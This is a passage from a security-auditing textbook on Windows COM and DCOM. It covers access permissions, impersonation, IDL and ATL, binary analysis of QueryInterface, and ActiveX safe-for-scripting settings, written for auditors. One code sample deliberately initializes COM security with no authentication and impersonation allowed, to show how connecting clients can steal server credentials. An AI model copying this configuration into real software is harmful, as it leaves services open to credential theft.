In both cases, COM developers must make the server object thread safe because any 

number of threads can be operating on it simultaneously. 

One more important detail on COM threads is how the COM subsystem manages 

threads. Like RPC, the COM subsystem manages calls via a pool of worker threads. 

This means a call can occur on any thread, and developers can't assume that calls in 

sequence occur on the same thread. So a COM MTA can have no thread affinity, which 

means it can't make any assumptions about its thread of execution between calls. 

Threading issues in general are a complex topic, covered in depth in Chapter 13(? 

[????.]). Keep threading issues in mind when auditing COM objects in the MTA model. 

Proxies and Stubs 

COM objects can't directly call routines between different apartment models or across 

process boundaries. Instead, COM provides an IPC method in the form of proxies and 

stubs. Much like RPC requests, the COM subsystem handles calling remote 

components and marshalling data. In fact, DCOM uses the native Windows RPC 

mechanisms for its COM remoting. 

On the client side, the code that bundles the data and sends it to the server is referred 

to as an interface proxy (or sometimes just "proxy") because it looks and acts 

exactly like the real object to the caller. The proxy has the same interface as the real 

object. The fact that the proxy is just a stand-in is transparent to the rest of the client 

application. 

The server code responsible for decapsulating a request and delivering it to the server 

application is called a stub. A server application receives a request from a client stub 

and performs the necessary operations. It then returns a result to the stub, which 

handles all marshaling and communications. 

Type Libraries 

The easiest method of deploying and registering a COM component generally involves 

using type libraries. A type library describes all the interface and typing information 
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for COM objects. It can include a variety of information, such as COM object names, 

supported interfaces, method prototypes, structures, enumerations, and relevant 

GUIDs for interfaces and objects. Developers can use type libraries to incorporate 

components into their applications with minimal effort. 

Each type library can be registered with the system. Like interfaces and COM classes, 

they are given a unique GUID to ensure that each type library can be identified. Type 

library IDs are stored in the registry in HKEY_CLASSES_ROOT\Classes\Typelib, with 

subkeys identifying the location of the type library. In addition, CLSIDs and interfaces 

can indicate that a type library applies to them by using the Typelib subkey in their 

locations in the registry. 

Type libraries can be in a standalone file (usually with the extension .tlb) or included 

as a resource in a DLL or executable. As you see later in "Auditing DCOM 

Applications," type libraries provide a wealth of essential information, especially when 

you don't have access to the source code. 

DCOM Configuration Utility 

The following sections focus on programmatic configuration of DCOM applications. 

You can also use the DCOM Configuration utility to view and manipulate the 

registered attributes of DCOM components. To run this utility, type dcomcnfg.exe at 

the command line or in the Run dialog box. In Windows XP and later, this command 

starts an instance of the Microsoft Management Console (MMC), as shown in Figure 

12-3. 

Figure 12-3. Viewing all registered DCOM objects 

[View full size image] 
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The DCOM Configuration utility can be used to manipulate all DCOM-related security 

settings, including the base subsystem security, default component security, and 

individual component security. This utility should be your starting point for reviewing 

an installed DCOM application. The Properties dialog box for a COM object shows you 

the application name, the application ID, security permissions associated with the 

object, and more useful tidbits of information you need to evaluate application 

exposure (see Figure 12-4). 

Figure 12-4. Viewing properties of COM objects 

 

 

 

DCOM Application Identity 

Unlike local COM, a remote COM server often doesn't run under the access token of 

the launching user. Instead, the base identity is designated by the DCOM object's 

registration parameters. A DCOM server can run in these four user contexts: 
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 Interactive user This context causes the application to run as whichever 

user is currently logged on. If no users are logged on, the application can't be 

started. 

 Launching user This context causes the application to run with the 

credentials of the user who's launching the server. If no identity is established 

in the registry, this context is the default setting. 

 Specified user This context causes the application to be launched by using a 

specific user's identity, no matter who the launching user is. The credentials of 

the target user are required to configure this context. 

 Service The application DCOM server is hosted inside a service and runs 

under a local service account. 

Generally, running as the launching user is the simplest, most secure option. This 

context causes the application to impersonate the launching user; however, 

accessing objects across the network from the server fails in Windows 2000 and 

earlier because of the lack of impersonation delegation. Long-lived COM servers 

might require running under a local service account or a specified account. In 

Windows XP and later, the network service account is often used. Developers can also 

create a tightly restricted account for the DCOM object. 

The most dangerous application identity is probably the interactive user because any 

method of running arbitrary code results in unrestricted impersonation of the 

interactive user. This identity is especially dangerous if the COM interface allows 

remote access. If you encounter this identity setting, examine all interfaces closely. 

Pay special attention to any capabilities (intentional or otherwise) that allow code 

execution or arbitrary file and object manipulation. 

DCOM Subsystem Access Permissions 

Starting with Windows XP SP2 and Windows Server 2003 SP1, Microsoft provides 

granular system-wide access control for DCOM, which can be accessed through the 

DCOM configuration in the System Properties dialog box. To manipulate these 

system-wide settings, click the Edit Limits buttons on the Security tab. These 

configuration parameters supersede the default and component-specific settings, so 

they can be used to completely restrict DCOM access. The access rights are 

summarized in Table 12-5. 

Table 12-5. COM Object Access Rights 

Access Right Meaning 

COM_RIGHTS_EXECUTE Allows users to make calls on a COM interface. 

COM_RIGHTS_EXECUTE_LOCAL Required to allow local clients to make calls on a COM 

interface. 
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Table 12-5. COM Object Access Rights 

Access Right Meaning 

COM_RIGHTS_EXECUTE_REMOTE Required to allow remote clients to make calls on a COM 

interface. 

COM_RIGHTS_ACTIVATE_LOCAL Required to allow local clients to activate the interface. 

COM_RIGHTS_ACTIVE_REMOTE Required to allow remote clients to activate the 

interface. 

 

The COM_RIGHTS_EXECUTE right is required for remote COM to function at all. The 

default assignment of the remaining rights allows only administrators to activate and 

launch remote COM objects. However, all users are allowed to launch local COM 

objects and connect to existing remote objects. Earlier versions of Windows support 

only the COM_RIGHTS_EXECUTE permission. 

DCOM Access Controls 

You've already learned how RPC can use native Windows access control mechanisms 

to provide fine-grained authentication and authorization. DCOM makes use of this 

same infrastructure for its own access control features. However, DCOM authorization 

comes into play in a slightly different manner: at activation time and call time. 

Activation 

A DCOM object must be instantiated before a client can receive an interface pointer to 

it and before any of its methods can be called by that client. Usually, this 

instantiationcalled activationis done via RPC. The RPC subsystem locates the DCOM 

server a client is trying to access and launches it if it's not already running. 

The Service Control Manager (SCM) determines whether the requesting principal is 

allowed to launch the object by examining the launch permission ACL for the 

requested class. This ACL is maintained in the registry key 

HKEY_CLASSES_ROOT\APPID\<APPID>\LaunchPermission. 

The LaunchPermission value might be absent if no special permissions are required. If 

so, the class inherits the default permissions. This ACL is stored in the system registry 

at HKEY_LOCAL_MACHINE\Software\Microsoft\OLE\DefaultLaunchPermission. 

Note 

A DCOM server can't set launch permissions programmatically for the current call. 

Generally, the installing application or system administrator sets these permissions 
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programmatically or with the DCOM Configuration utility. Therefore, insufficient 

launch permissions fall into the operational vulnerability classification. 

 

 

Invocation 

After a DCOM object is activated, developers can apply additional levels of control by 

enforcing call-level security, which controls the principals allowed to make interface 

calls on a specific object. There are two ways to enforce call-level security: through 

registry key settings and programmatically. The first method involves consulting the 

registry. First, the ACL for the application is checked, which is in the registry key 

HKEY_CLASSES_ROOT\APPID\<APPID>\AccessPermission. If this value is absent, 

application access has no special security requirements, and the default ACL is 

applied from the Registry key 

HKEY_LOCAL_MACHINE\Software\Microsoft\OLE\DefaultAccessPermission. 

These registry keys are set manually or via the DCOM Configuration utility. The other 

way to enforce call access permissions is programmatically with the 

CoInitializeSecurity() function: 

HRESULT CoInitializeSecurity(PSECURITY_DESCRIPTOR pVoid, 

        LONG cAuthSvc, SOLE_AUTHENTICATION_SERVICE *asAuthSvc, 

        void * pReserved1, DWORD dwAuthLevel, DWORD dwImpLevel, 

        SOLE_AUTHENTICATION_LIST *pAuthList, 

        DWORD dwCapabilities, void * pReserved3) 

 

The CoInitializeSecurity() function gives developers extensive control over the 

basic security of COM objects. The security measures this function puts in place are 

process wide; that is, if a process has multiple DCOM object interfaces exposed, all 

interfaces are affected by a call to this function. The first argument actually provides 

the majority of the security capability. Although the prototype indicates that this 

argument is a pointer to a security descriptor, it can also point to two other structures: 

an AppID structure or an IAccessControl object. When an AppID structure is specified, 

the relevant AppID is located in the registry and permissions are applied according to 

the subkey values stored there. An IAccessControl object is a system-provided DCOM 

object that supplies methods for enforcing restrictions on other interfaces. The client 

can call CoInitializeSecurity() only once, and any attempt to call it again fails. 

Note 

Remember that CoInitializeSecurity() restrictions are applied to every interface the 

calling process has registered. 
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In addition to security descriptor settings, quite a few other security restrictions can 

be put in place with CoInitializeSecurity(). The dwAuthLevel parameter can also be 

used to enforce certain authentication levels. DCOM uses the same authentication 

levels as RPC, so they aren't repeated here. Refer to the "RPC Servers(? [????.])" 

section earlier in this chapter for details on these authentication levels. 

The downside of CoInitializeSecurity() is that it can be called only once and affects 

all DCOM calls in the current process. However, to modify authentication behavior on 

a per-proxy basis, clients can also use the CoSetProxyBlanket() function, which has 

the following prototype: 

HRESULT CoSetProxyBlanket(IUnknown * pProxy, DWORD dwAuthnSvc, 

        DWORD dwAuthzSvc, WCHAR * pServerPrincName, 

        DWORD dwAuthnLevel, DWORD dwImpLevel, 

        RPC_AUTH_IDENTITY_HANDLE pAuthInfo, 

        DWORD dwCapabilities) 

 

This function operates similarly to CoInitializeSecurity(), except the authentication 

parameters affect only the proxy indicated by the pProxy argument rather than every 

proxy interface a client uses. Also, unlike CoInitializeSecurity(), 

CoSetProxyBlanket() can be called more than once. 

Impersonation in DCOM 

DCOM allows servers to impersonate clients by using the underlying RPC 

implementation. A DCOM application enforces impersonation levels programmatically 

and through the use of registry settings. Registry settings provide initial security 

requirements, but they can be overridden programmatically while the application is 

running. You might have noticed that both CoInitializeSecurity() and 

CoSetProxyBlanket() have a dwImpLevel parameter. This parameter allows clients to 

specify the impersonation level, and it works just as it does in RPC. This parameter is 

simply passed to the underlying RPC transport, discussed earlier in this chapter. 

However, impersonation can be performed only if the authentication level is 

RPC_C_IMP_LEVEL_IMPERSONATE or higher; the default value is C_IMP_LEVEL_IDENTIFY. 

In addition to the standard IPC impersonation issues, DCOM objects might be more at 

risk from impersonation attacks. As Michael Howard and David Leblanc point out in 

Writing Secure Code, a server application is likely to act as a client when an event 

source/sink pair is set up and interfaces are passed as arguments to a server process. 

For those unfamiliar with sources and sinks, they are older COM mechanisms for 

handling asynchronous events through the use of connection points. A connection 
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point is simply a communication channel an object can establish with another object. 

You've seen examples of the client making calls to a server and receiving a result 

immediately. Sometimes, however, the server needs to advise the client that an 

event has occurred. This event might be based on a user action, or it might indicate 

that a time-consuming operation is finished. In this situation, the client exposes its 

own COM interface and passes it to the server. When the server wants to indicate an 

event occurred, it simply calls a method in this interface. To do this, the server must 

be a connectable objectthat is, expose the IConnectionPoint interface (among several 

others). The server's outgoing interface for a connection point is called a source, and 

the client's receiving interface is called a sink. The problem with this process is that 

the server is now a client, and its impersonation level is just as important as the 

client's. If a malicious client connects to an unprotected server, it can use 

CoImpersonateClient() in its sink interface to steal the server's credentials. 

Remember, the server needs to set fairly lax permissions to be vulnerable to this type 

of attack, as in the following example: 

BOOL InitializeCOM(void) 

{ 

    HRESULT rc; 

 

    rc = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); 

 

    if(FAILED(rc)) 

        return FALSE; 

 

    rc = CoInitializeSecurity(NULL, -1, NULL, NULL, 

            RPC_AUTHN_LEVEL_NONE, RPC_C_IMP_LEVEL_IMPERSONATE, 

            NULL, 0, NULL); 

 

    if(FAILED(rc)) 

        Return FALSE; 

 

    return TRUE; 

} 

 

If a server (or a client) for a connectable object initializes COM security as in this 

example, impersonation vectors are a definite threat because they might allow 

connecting clients to steal credentials. This type of attack is one of the main reasons 

for Microsoft's introduction of COM cloaking and RPC_C_IMP_LEVEL_DELEGATE. 

MIDL Revisited 

MIDL was introduced in "Microsoft Interface Definition Language(? [????.])" earlier in 

this chapter. IDL is primarily intended to express RPC interfaces, but it can also be 
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used to describe COM interfaces. In fact, the MIDL compiler has language support for 

the Object Description Language (ODL), which can be used to represent objects as 

well as RPC interfaces. When auditing COM applications, you might see some COM 

object interfaces expressed in IDL, so this section reviews some of the main attributes 

and keywords for expressing COM objects. 

The most important difference between COM ODL and RPC IDL is the presence of the 

object attribute in the IDL header. This keyword indicates that the interface is a COM 

object and directs the MIDL compiler to generate a COM proxy and stub, as opposed 

to RPC client/server stubs. The other main difference is indicating that the interface is 

derived from another interface. Remember that all COM objects are derived from 

IUnknown; so you must indicate that in the interface definition. 

Note 

Instead of being derived directly from IUnknown, COM objects can be derived from 

another class. However, the parent class is directly or indirectly derived from 

IUnknown. 

 

Putting this together, a sample COM interface definition in an IDL file might look 

something like this: 

import "iunknwn.idl" 

 

[ 

 

    object, 

    uuid(12345678-1234-1234-1234-123456789012), 

] 

 

interface IBankAccountObject : IUnknown 

{ 

    BOOL LoadDetails([in] PUSER_DETAILS userDetails); 

    BOOL GetBalance([out] PBALANCE balanceInfo); 

    BOOL GetHistory([out] PHISTORY historyInfo); 

 

    ... other methods ... 

} 

 

As you can see, it looks a lot like an RPC interface definition. The most important part 

is locating all the available interface methods and determining what arguments they 
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take. Then you must examine the implementation of each function to identify any 

vulnerabilities. 

In addition to defining just the interfaces, objects themselves can also be expressed. 

The coclass keyword is used to represent a COM object. The class definition contains 

a list of interfaces the object implements. Returning to the previous example of the 

bank interface, the class definition would follow the interface definition and look 

something like this: 

[ 

    uuid(87654321-4321-4321-4321-210987654321), 

    version(1.0), 

    helpstring("Bank Account Class") 

] 

 

coclass CBankAccount 

{ 

    [default] interface IBankAccountObject; 

} 

 

This simple example shows the definition of the COM class CBankAccount. This object's 

CLSID is indicated by the uuid attribute. This class implements only one interface: 

IBankAccountObject. 

Note 

The default attribute listed before the interface definition is optional and doesn't need 

to be there. It simply indicates that IBankAccountObject is the default interface for the 

CBankAccount class. Other interface-specific attributes can be used; for more 

information, read the COM section of the MSDN. 

 

Reviewing the code for a class exposing multiple interfaces requires examining each 

interface separately because the interfaces' functionality might be exposed to 

untrusted (or semitrusted) clients. 

Type library information is also generated by using MIDL. Specifically, the library 

keyword can be used to create a .tlb file, like so: 

library libname 

{ 

   importlib("stdole.tlb"); 
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   interface IMyInterface1; 

   coclass CClass; 

 

   ... other stuff you want to appear in the TLB ... 

} 

 

This section doesn't delve into the syntax for library definitions. When you have the 

source code, the type library doesn't offer much additional information. After all, you 

already know the available objects and their interfaces from looking at the rest of the 

IDL data. 

Active Template Library 

The Active Template Library (ATL) is another approach developers can use for 

developing COM applications. It allows developers to define interfaces in their code 

and automatically takes care of many of the more tedious aspects of implementing 

COM interfaces. For example, ATL can be used to automatically generate the IUnknown 

member functions QueryInterface(), AddRef(), and Release(). It can also be used to 

generate code for several other interfaces, such as IClassFactory. 

ATL is used extensively, so you need to be able to identify COM interfaces in 

ATL-generated code. As it turns out, this is easy. All you need to be familiar with is the 

COM_MAP macro used to define a COM object; a COM object definition using COM_MAP 

looks something like this: 

BEGIN_COM_MAP(CObjectName) 

    COM_INTERFACE_ENTRY(IMyInterface1) 

    COM_INTERFACE_ENTRY(IMyInterface2) 

END_COM_MAP() 

 

Simple, right? You can easily see that the COM object CObjectName is being declared, 

and it exposes two interfaces: IMyInterface1 and IMyInterface2. From there, all you 

need to do is locate the methods for each interface entry in the COM MAP. Each 

COM_INTERFACE_ENTRY() in the COM_MAP is an interface definition from an IDL file, which 

is generated by the development environment when ATL wizards are used. When ATL 

is used to auto-generate COM objects, you have the IDL data at your disposal as well. 

Auditing DCOM Applications 

Now that you're familiar with the general structure of COM programming and security 

measures, you need to walk through the most effective ways of auditing COM client 

and server programs. Auditing COM servers isn't too different from auditing RPC 

servers; you need to address the following questions: 
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 Are sufficient access controls in place to restrict the interface to authorized 

parties? 

 Are the exposed interface functions secure? 

 Is impersonation being used properly, or does it pose a risk? 

 What launching rights are granted to the server? 

 Are there any threading or synchronizations issues that could be exploited? 

You can break down this list of requirements into the following steps: 

1.  Check DCOM application security settings programmatically or by using the 

DCOM Configuration utility. 

2.  Examine how CoInitializeSecurity() is called (if it's called) to back up your 

findings from the registry. This step also sheds some light on what sort of 

impersonation defaults are enforced. 

3.  Locate the interface routines exposed by the COM server and apply the standard 

vulnerability-auditing methods you've learned in this book. 

When determining the security of interface functions, you should look for the issues 

described in the following sections. 

COM Registration Review 

Now that you know how access controls can be applied to COM objects, it should be 

evident that determining whether access controls aren't secure is a two-step process: 

examining the activation access controls and examining the call-level access controls. 

Activation access controls aren't in the application code; they reside in the registry. 

Although you might not have access to the target machines the application will be 

installed on, an install procedure should be in place to govern who can activate the 

object. 

COM applications are often self-registering. That is, they can perform their own 

registration automatically so that manual setup isn't required. To do this, they export 

a pair of functions, DllRegisterServer() and DllUnregisterServer(), in one of the 

binary files bundled with the application. The DllRegisterServer() function contains 

code to make registration settings. The DllUnregisterServer() function does the 

reciprocalremoving all registration established in DllRegisterServer(). 

A COM application providing this interface is installed and removed with the 

regsvr32.exe program. When this program starts, it locates the DllRegisterServer() 

routine in the specified binary and runs it, thus removing the requirement for manual 

registration. 
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Note 

ActiveX controls are self-registering COM objects. This just means users don't need to 

run the regsvr32 application because Internet Explorer does so automatically when 

downloading a new component. ActiveX controls are covered in "ActiveX Security" 

later in this chapter. 

 

After the application is installed, you can use standard Windows utilities to inspect 

security settings. The easiest approach is to use the DCOM Configuration utility; 

however, the associated registry keys can be manipulated directly. These keys are 

located at HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\<AppID>. Table 12-6 

lists the MSDN-provided values that affect a server's DCOM security parameters. 

Table 12-6. COM Registry Values 

Named Value Description 

AccessPermission Sets an ACL that determines access. 

ActivateAtStorage Configures client to activate on the same system as 

persistent storage. 

AppID Identifies the AppID GUID that corresponds to the named 

executable. 

AuthenticationLevel Sets the authentication level for the AppID, overriding 

LegacyAuthenticationLevel. Available only on Windows NT 

4.0 SP4 and later versions. 

DllSurrogate Specifies that a DLL server is to use a surrogate.exe file. If 

the path is not specified, the system-provided surrogate is 

used. 

DllSurrogateExecutable Specifies that a DLL server is to use a custom surrogate.exe 

file. If the custom file is not specified, the system-provided 

surrogate is used. 

Endpoints Configures a COM application to use a specified TCP port 

number for DCOM communications. 

LaunchPermission Sets an ACL that determines who can launch the application. 

LocalService Sets the application as a Win32 service. 

RemoteServerName Sets the name of the remote server. 

RunAs Sets an application to run only as a given user. 

ServiceParameters Sets parameters to be passed to a LocalService on call. 
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Table 12-6. COM Registry Values 

Named Value Description 

SRPTrustLevel Sets the trust level of the software restriction policy (SRP). 

Available only on Windows XP and later versions. 

 

You have already seen that you can determine the launching identity of a COM 

application by checking the RunAs and LocalService keys listed in Table 12-6. These 

keys are usually absent, so the default action is taken, which causes the COM 

application to run in the context of the launching user. Running in this context roughly 

equates to a standard local process execution and generally requires no further 

inspection. However, further inspection is needed if the COM subsystem allows 

remote users to launch COM objects, as vulnerabilities in these methods could result 

in remote process execution. The remaining options might require far more 

inspection, particularly long-lived DCOM applications that run inside services. 

Auditing COM Interfaces 

Auditing the actual implementation of COM objects is one of the most critical 

components of auditing a COM-based application. After all, a vulnerability in the 

implementation of the functions could allow attackers to undermine all external 

access controls and the underlying system's integrity. The choice of authentication 

and impersonation parameters can reduce the impact of attacks. However, all 

exposed interfaces still need to be audited for the general classes of vulnerabilities 

discussed elsewhere in this book. 

COM Source Audits 

Auditing the source code makes your review easier because you can read interface 

definitions from IDL files or read the ATL definitions. From there, you can refer to the 

source code to find the implementation of relevant functions and determine whether 

the object exposes any vulnerabilities. 

COM Binary Audits 

You might be required to perform binary audits of COM applications. The principles for 

auditing a COM application (and indeed any application) are the same whether you 

have the binary or source code. However, the extra steps in the binary audit can be a 

major hurdle. With that in mind, this section gives you a brief summary of identifying 

and auditing COM interfaces as they appear in binary files. 

Say you're auditing a COM application, and you want to identify which interfaces the 

object exposes, what methods are available in each interface, and what type of 
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arguments they take. The most useful source of information is type libraries, if they 

are available. 

Note 

Type libraries are always available for automation objects because the IDispatch 

interface needs to publish the information in them. 

 

As mentioned previously, the type library information might be stored in a separate 

file. However, most often it's stored as a resource in the executable or DLL that 

implements the object. You can find the location of a type library by consulting the 

HKEY_CLASSES_ROOT\CLSID\<CLSID>\TypeLib key. 

Note 

The HKEY_CLASSES_ROOT\Interface key can also contain a TypeLib key. 

 

This key provides a TypeID GUID value that matches a subkey in 

HKEY_CLASSES_ROOT\TypeLib. This key has a version subkey indicating the location 

of the type library. If it's embedded in an executable, you can simply view it with a PE 

resource viewer (such as PE Editor at www.heaventools.com). This library 

information is especially useful because it gives you GUIDs, structure definitions, 

methods exposed by interfaces, and even type information for arguments to those 

methods. 

After you have this information, you need to determine how to find the methods to 

audit in the binary. The first method is by locating entry points. An executable that 

implements a COM object must register each class object by using the 

CoRegisterClassObject() function. This requires indicating a CLSID along with a 

pointer to the class's IUnknown interface. By locating instances of 

CoRegisterClassObject(), you can find the vtable for IUnknown and then read the 

QueryInterface() function to learn about other interfaces the object exposes. 

In fact, the QueryInterface() function exported by an object is always useful because 

it must return pointers to all its supported interfaces. So another way to locate 

functions exported by an object is to find the QueryInterface() implementation in the 

COM server to see how it handles requests for different IIDs. Remember, access to 

any interface other than IUnknown is done via the QueryInterface() function, so the 

implementation always looks something like this: 

HRESULT QueryInterface(REFIID iid, void **ppvObject) 

{ 

http://www.heaventools.com/
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    if(iid == IID_IMyInterface1) 

    { 

        *(IMyInterface1 *)ppvObject = this; 

        AddRef(); 

        return NOERROR; 

    } 

    *ppvObject = NULL; 

    return E_NOINTERFACE; 

} 

 

Because the second argument always points to an interface upon success, you can 

find every assignment for this argument and deduce which functions are exported. 

Take a look at a practical example. The following disassembly is taken from 

C:\Windows\System32\wiaacmgr.exe, which hosts a COM server on a Windows XP 

machine (CLSID 7EFA65D9-573C-4E46-8CCB-E7FB9E56CD57). The code is divided 

into parts so that you can see what's going on more easily. 

In this first part, the QueryInterface() function is initialized. As you can see, all that's 

done at this point is setting the ppvObject parameter to NULL so that it doesn't initially 

point to any interface: 

.text:010054C5 QueryInterface proc near ; CODE XREF: 

.text:0100A7F7j 

.text:010054C5                 ; DATA XREF: 

.text:off_100178Co 

.text:010054C5 

.text:010054C5 this_ptr       = dword ptr 8 

.text:010054C5 riid           = dword ptr 0Ch 

.text:010054C5 ppvObject      = dword ptr 10h 

.text:010054C5 

.text:010054C5    mov    edi, edi 

.text:010054C7    push   ebp 

.text:010054C8    mov    ebp, esp 

.text:010054CA    mov    edx, [ebp+ppvObject] 

.text:010054CD    push   ebx 

.text:010054CE    push   esi 

.text:010054CF    mov    esi, [ebp+riid] 

.text:010054D2    push   edi 

.text:010054D3    xor    ebx, ebx 

.text:010054D5    push   4 

.text:010054D7    pop    ecx 

.text:010054D8    mov    edi, offset IID_IUnknown 

.text:010054DD    xor    eax, eax 

.text:010054DF    mov    [edx], ebx     ; *ppvObject = NULL; 
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This next part of the code compares the riid argument against IID_IUnknown. If the 

comparison succeeds ppvObject is set to point to the current (this) object. The jmp 

instruction at the end jumps to the function epilogue, which returns a successful 

result: 

.text:010054E1    repe cmpsd 

.text:010054E3    jnz  short loc_10054F2 

                             ; test for IID_IUnknown 

.text:010054E5 

.text:010054E5 loc_10054E5:  ; CODE XREF: QueryInterface+3Cj 

.text:010054E5    mov  eax, [ebp+this_ptr] 

.text:010054E8 

.text:010054E8 loc_10054E8:  ; CODE XREF: QueryInterface+5Bj 

.text:010054E8    mov   [edx], eax    ; *ppvObject = this; 

.text:010054EA    mov   ecx, [eax] 

.text:010054EC    push  eax 

.text:010054ED    call  dword ptr [ecx+4] ; call AddRef() 

.text:010054F0    jmp   short loc_100552A 

 

Evidently, this object has two interfaces in addition to IUnknown. This next part of the 

code compares the riid argument against two more interface IDs. If there's a match, 

the ppvObject parameter is set to the this object pointer and a successful return 

happens: 

.text:010054F2 loc_10054F2:    ; CODE XREF: QueryInterface+1Ej 

.text:010054F2    mov    esi, [ebp+riid] 

.text:010054F5    push   4 

.text:010054F7    pop    ecx 

.text:010054F8    mov    edi, offset IID_Interface1 

.text:010054FD    xor    eax, eax 

.text:010054FF    repe cmpsd 

.text:01005501    jz     short loc_10054E5 ;test IID_Interface1 

.text:01005503    mov    esi, [ebp+riid] 

.text:01005506    push   4 

.text:01005508    pop    ecx 

.text:01005509    mov    edi, offset IID_Interface2 

.text:0100550E    xor    eax, eax 

.text:01005510    repe cmpsd             ; test IID_Interface2 

.text:01005512    jnz    short loc_1005522 ; go to failure 

.text:01005514    mov    eax, [ebp+this_ptr] 

.text:01005517    lea    ecx, [eax+4] 

.text:0100551A    neg    eax 
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.text:0100551C    sbb    eax, eax 

.text:0100551E    and    eax, ecx 

.text:01005520    jmp    short loc_10054E8 ; *ppvObject = this; 

 

Note 

The second interface causes ppvObject to be set to the this pointer with 4 added to it. 

 

If there's no match, the riid argument is deemed invalid, and the jnz instruction 

bolded in the previous code causes a jump to an error epilogue that returns the error 

E_NOINTERFACE, as shown in the following code snippet: 

.text:01005522 loc_1005522:    ; CODE XREF: QueryInterface+4Dj 

.text:01005522    and    dword ptr [edx], 0 

.text:01005525    mov    ebx, 80004002h ; E_NOINTERFACE 

.text:0100552A 

.text:0100552A loc_100552A:    ; CODE XREF: QueryInterface+2Bj 

.text:0100552A    pop    edi 

.text:0100552B    pop    esi 

.text:0100552C    mov    eax, ebx 

.text:0100552E    pop    ebx 

.text:0100552F    pop    ebp 

.text:01005530    retn   0Ch 

.text:01005530 QueryInterface endp 

 

By finding QueryInterface(), you can figure out what interfaces are available based 

on how the ppvObject parameter is set. You don't even have to read the 

QueryInterface() code in many cases. You know that QueryInterface() is part of the 

IUnknown interface, and every COM interface must inherit from IUnknown. So vtable 

cross references to QueryInterface() are often COM interfaces, allowing you to focus 

on finding all cross-references to the QueryInterface() function. In the preceding 

code, there are two cross-references to QueryInterface(), which fits with what you 

learned from examining the code. Following one of these cross-references, you see 

this: 

.text:0100178C off_100178C    dd offset QueryInterface ; DATA XREF: 

sub_100A6B7+Do 

.text:0100178C                           ; sub_100A9AF+13o 

.text:01001790    dd offset sub_1005468 

.text:01001794    dd offset sub_1005485 

.text:01001798    dd offset sub_1005538 
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.text:0100179C    dd offset sub_1005582 

.text:010017A0    dd offset sub_10055CC 

.text:010017A4    dd offset sub_100ACA1 

 

This code is a table of function pointers, as you expected, for one of the COM 

interfaces the object exposes. The two functions under QueryInterface() are AddRef() 

(sub_1005468) and Release() (sub_1005485): the other two IUnknown functions. These 

three functions are always at the top of every exposed COM interface vtable. 

Similarly, DLL objects need to expose the DllGetClassObject() function. The 

responsibility of this function is to provide an interface pointer for an object, given a 

CLSID and an IID. Therefore, by reading through this function, you can find what 

classes are supported as well as what interface IDs are supported on each object. 

Typically, DllGetClassObject() implementations look something like this example 

taken from MSDN at 

http://windowssdk.msdn.microsoft.com/library/en-us/com/html/42c08149-c251-47

f7-a81f-383975d7081c.asp: 

HRESULT_export  PASCAL DllGetClassObject 

        (REFCLSID rclsid, REFIID riid, LPVOID * ppvObj) 

{ 

 

    HRESULT hr = E_OUTOFMEMORY; 

 

    *ppvObj = NULL; 

 

    CClassFactory *pClassFactory = new CClassFactory(rclsid); 

 

    if (pClassFactory != NULL)  { 

        hr = pClassFactory->QueryInterface(riid, ppvObj); 

        pClassFactory->Release(); 

    } 

 

    return hr; 

} 

 

An object is usually instantiated and then queried for the specified IID. Therefore, 

initialization functions are commonly called from DllGetClassObject(), which sets up 

vtables containing the COM object's exposed methods. 

There are certainly other methods for finding object interfaces, although sometimes 

they're less precise. For example, if you know the IID of an interface you want to find 

an implementation for, you could simply do a binary search for some or all of that IID, 
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and then follow cross-references to methods using that IID. Often a cross-reference 

points to the QueryInterface() routine where that IID can be requested. 

Automation Objects and Fuzz Testing 

Automation objects are required to publish type information from their type 

libraries. This means clients can learn about all the callable methods and 

argument types they take just by asking the object for its type information. 

Therefore, by having a client that asks for this information and then using it 

to stress-test each available method, you could quickly find vulnerabilities in 

the application. 

It turns out that a tool exists to do just this. Frederic Bret-Mounet designed 

and developed the COMbust tool, which he spoke about at the Blackhat 

Briefings conference in 2003. This tool takes any automation object specified 

by a user and does some basic fuzz testing on any methods it identifies. It's 

configurable, so users can tune it to test for specific conditions, and is 

available at 

www.blackhat.com/html/bh-media-archives/bh-archives-2003.html. 

 

Another easy way to locate a QueryInterface() implementation without reading any 

code is to do a text search on the relevant binary code for the E_NOINTERFACE value 

(80004002). Any match for this number is usually a QueryInterface() 

implementation returning an error or a client checking for this error when it has called 

QueryInterface() on an object. By the context of the match, you can easily tell which 

it is. 

ActiveX Security 

An ActiveX control is simply a self-registering COM object deployed inside another 

application, such as a Web browser. The "Active" part of the name comes from the 

fact that these objects can register themselves, thus simplifying their deployment. 

Most ActiveX controls also expose IDispatch interfaces so that they can be 

instantiated and manipulated easily by scripting languages. Generally, these controls 

are hosted in Internet Explorer, although they can be hosted inside any application. 

ActiveX is an important Windows technology with serious security implications 

explored in the following sections. 

Note 

Changes to Internet Explorer 6 and the upcoming Internet Explorer 7 do a lot to 

mitigate the dangers of ActiveX controls. Internet Explorer 7 introduces site-based 

opt-in for controls to prevent a malicious site from instantiating installed controls. 

http://www.blackhat.com/html/bh-media-archives/bh-archives-2003.html
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ActiveX Code Signing 

An ActiveX control is just a bundle of binary code that runs in the context of 

instantiating user. Because of the potential danger of running native code, Microsoft 

designed ActiveX controls to support validation through an Authenticode signature. 

Developers can sign controls with their private keys, and users can validate the 

source of the unmodified control. This signature doesn't in any way state that the 

control is free of vulnerabilities, and it doesn't prevent the control from being 

malicious. It just means there's a verifiable paper trail leading back to the developer. 

Safe for Scripting and Safe for Initialization 

In addition to code signing, ActiveX controls have a few additional parameters to limit 

their attack surface when deployed inside Internet Explorer. These parameters are 

termed "safe for scripting" and "safe for initialization." There are two ways to mark 

interfaces as safe. The first is performed at installation by modifying the registry key 

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\<GUID of control 

class>\Implemented Categories\<GUID of category>. The safe for scripting category 

GUID is {7DD95801-9882-11CF-9FA9-00AA006C42C4}, and the safe for 

initialization category GUID is {7DD95802-9882-11CF-9FA9-00AA006C42C4}. 

The second approach to marking a control as safe requires that the control implement 

the IObjectSafety interface, which exposes the GetInterfaceSafetyOptions() method 

to the hosting container. The hosting container calls this method to determine 

whether a specific interface is marked as safe for scripting or initialization and can 

also request that the control be marked as safe by calling the 

IObjectSafety.SetInterfaceSafetyOptions() method. 

Any control marked as safe for scripting can be instantiated and manipulated in 

Internet Explorer. Microsoft advises marking a control as safe for scripting only if it 

must be manipulated from Internet Explorer and doesn't provide any means for 

unauthorized parties to alter the state of the local system or connected systems. This 

